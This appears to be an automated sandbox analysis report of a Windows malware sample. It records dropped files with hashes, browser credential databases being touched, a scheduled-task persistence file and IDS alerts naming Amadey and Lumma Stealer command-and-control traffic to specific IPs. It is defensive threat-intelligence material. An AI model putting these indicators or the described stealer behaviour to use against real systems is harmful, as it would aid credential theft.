Preview:	L..................F.@.. ...$+.,..../mV..U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.\...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 24 10:39:56 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.98760082324232
Encrypted:	false
SSDEEP:	48:8hdzT7/7HFidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbLy+yT+:8ffkT/TbxWOvTbLy7T
MD5:	47B388ACB15341527AB766722D80A1AE
SHA1:	403ADC55136B1F0B6E26BE5D32DFD05979A1EEAB
SHA-256:	EF4B5C33A0BDA7CA85C426AA5D9D4E30BCC9A7435230845F86353D9ED2586E88
SHA-512:	2810CF7DF222A8B2E4F63173E54E15624B29D463A1FCA4476BC431C734989D2371239182FC6FA5C61F80334820009FC3A4E8FAE9A1A2B23C0597DCB048D16A1A
Malicious:	false
Preview:	L..................F.@.. ...$+.,....K.@..U..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.\....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.\....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.\....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.\..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.\...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............N.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\BAAFBFBAAK.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3228160
Entropy (8bit):	6.64590067685428
Encrypted:	false
SSDEEP:	49152:rdvDmI+Y2ioXgK5XFnhE7RdUEvKE9SUpptinMr0SS7z8:b2mK5VhENqEvKE9S4pAM4SSs
MD5:	9FA37A32CC4E905BB5BB96735F362FA7
SHA1:	8D8F541FE63AF2D3DA608438CE9CC89013C4797E
SHA-256:	02B97DD24FF9FC704575CCE3048F30ADD174507FC8A024E02781206A802506D9
SHA-512:	E969A831E444B26E552982C971062D5D66D23AC5DB39BF44CE6C27CBFD17C5EB3FFF399D6C0C0433E1410E5DC0C412110FB2762C32F25A7CEA565946759C64AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.......1...@.................................W...k...........................\|01.............................,01..................................................... . ............................@....rsrc...............................@....idata ............................@...opilsovf..........................@...xjprhixb.....@1.......1.............@....taggant.0...P1.."... 1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\BAAFBFBAAK.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4403273408445063
Encrypted:	false
SSDEEP:	6:9wsf1rtX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0l+ut0:9hfhZuQ1CGAFifXVHt0
MD5:	7F2C7E49D3FD0DEE246CCDACFA487B46
SHA1:	3C04E3D12C551D946E6871B370641EA698DD6035
SHA-256:	E05378E0E4D1B59593761D83A0E86A733C28BC40CA0834B9B90BF04A4E0DCD3D
SHA-512:	8631402D649CCFCCCF46B7718B9F151A1BFDDCA178826B073C6F7DF673E7D4A011A8C9F1A13020B959C5DBC44495B6CBDBBE8A367D2D0569E4EDD39E866FE808
Malicious:	false
Preview:	.....R..+..H../!K\|R.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................).@3P.........................

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (842)
Category:	downloaded
Size (bytes):	847
Entropy (8bit):	5.157908784670037
Encrypted:	false
SSDEEP:	24:p5k916UDBHslgT9lCuABATep7uPL7HHHHHHumffffffo:p5k911DKlgZ01BAY7uDSmffffffo
MD5:	48A0268CDD0BB3D38D32DA4CA3E224DB
SHA1:	7BAC54A5F297B96B8FA4B98B7D937CF55797B54B
SHA-256:	AF7D03592AE73AD58D8129029BF26E70D26044380FC88A5BE2EA1DB9857090E4
SHA-512:	296F06BFA792AAB1225A93795C0E92218B8804944410DE5150C6BBAE92E9DB48277BA63D58CF0D4B39291FD9F32B38EDC0E025AFCDD8EBE46A960BB971861904
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["appeals court reinstates boi","merry christmas greetings quotes","christmas breakfast casserole recipes","utah jazz vs cleveland cavaliers","rockstar games gta 6 release date","weather forecast snow storm","ripple xrp news","norad santa tracker"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":856332599852324893,"google:suggestrelevance":[1252,1251,1250,703,702,701,700,600],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362,10]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132723
Entropy (8bit):	5.436723851227949
Encrypted:	false
SSDEEP:	3072:fRkJQ7O4N5dTm+syHEt4W3XdQ4Q6ZuSr/nUW2i6o:f4Q7HTt/sHdQ4Q6ZDfUW8o
MD5:	C1EEDE96D921FA4835DBCF8937433D0E
SHA1:	302F655F3659D1894F5BF4B2130205372BE588B2
SHA-256:	F74D2A6D2142D34083A1786A5D4C55AA62C387ED56882D685C9E36B24D039B67
SHA-512:	004ED360BC8B5E47B8EB401F4FF3AAF700CDDAD3EAF09B07AA14A3532E1387A73B585ADF136D8367210F4F93CF537A1F92E1544832B57425215F9B28CAC1EBD8
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	175897
Entropy (8bit):	5.549876394125764
Encrypted:	false
SSDEEP:	3072:t0PuJ7UV1+ApsOC3Ocr4ONnv4clQfOQMmzIWrBQoSpFMgDuq1HBGANYmYALJQIfr:t0PuJQ+ApsOOFZNnvFlqOQMmsWrBQoSd
MD5:	2368B9A3E1E7C13C00884BE7FA1F0DFC
SHA1:	8F88AD448B22177E2BDA0484648C23CA1D2AA09E
SHA-256:	577E04E2F3AB34D53B7F9D2F6DE45A4ECE86218BEC656B01DCAFF1BF6D218504
SHA-512:	105D51DE8FADDE21A134ACA185AA5C6D469B835B77BEBEC55A7E90C449F29FCC1F33DAF5D86AA98B3528722A8F533800F5146CCA600BC201712EBC9281730201
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu0yU9RTMfNNC-LVUmaaNKwIO136g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ui=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Vi=class extends _.Q{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{.var Wi,Xi,aj,dj,cj,Zi,bj;Wi=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};Xi=function(){_.Ka()};aj=function(a,b){(_.Yi\|\|(_.Yi=new Zi)).set(a,b);(_.$i\|\|(_.$i=new Zi)).set(b,a)};dj=function(a){if(bj===void 0){const b=new cj([],{});bj=Array.prototype.concat.call([],b).length===1}bj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ej=function(a,b,c){a=_.rb(a,b,c);return Array.isArray(a)?a:_.Ac};._.fj=function(a,b){a=2&b?a\|2:a&-3;return(a\|32)&-2049};_.gj=function(a,b){a===0&&(a=_.fj(a,b));return a\|1};_.hj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.ij=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.lj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ej(a,b,d);var k=h[_

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947619299667144
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	iUKUR1nUyD.exe
File size:	1'929'216 bytes
MD5:	ca7c431abac02cfb1b6b43ed9b3457e3
SHA1:	cc6a65963485ec5fe2b266ed6eae613295c8b736
SHA256:	5a8db8011eec67e7677db586d4ff45cb35f3e2e83dcb6ae5bf8b446666d9aff4
SHA512:	fecb7acacc74c70fa4999fe622dad09703ca1e636f55d10a33e0a59e8c86c0708f315717c902948ca8f2e2bdb963f043f522aff1ecaf63c3f9b53183dbce0b99
SSDEEP:	49152:QdS535ssLP/LZ5uDPBapp54SAy3u/RqnWBvU4rwH:QGLHHuDgppu8nGU4r
TLSH:	5395334E0E78039BC7CD0F386A26C69E4F98F19C1A25A46C70797C4904FADB58FA7587
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................K...........@...........................K.....GH....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8bc000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB570BE426Ah
cmovle ebx, dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	c72d0936fd488fcde17ebb4d970ca238	False	0.9995212928921569	data	7.9824607911183225	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2b9000	0x200	a40393d27df084892f0f50b45d0de2ff	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qppoenam	0x30e000	0x1ad000	0x1ad000	8c7824e78efbe1e3ce53d6a63c358eb6	False	0.9949168669871795	data	7.953050880306917	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qzwmqxvv	0x4bb000	0x1000	0x400	6c5f1b4aed06222fc1343a8d6a2300d6	False	0.8310546875	data	6.342428897121715	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4bc000	0x3000	0x2200	fcba6d0ba04d7a908719442d19f981f6	False	0.05618106617647059	DOS executable (COM)	0.6605006867898137	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T12:39:00.301151+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49993	TCP
2024-12-24T12:39:07.378065+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	172.67.199.72	443	TCP
2024-12-24T12:39:08.112539+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	172.67.199.72	443	TCP
2024-12-24T12:39:08.112539+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	172.67.199.72	443	TCP
2024-12-24T12:39:09.336351+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	172.67.199.72	443	TCP
2024-12-24T12:39:10.115210+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	172.67.199.72	443	TCP
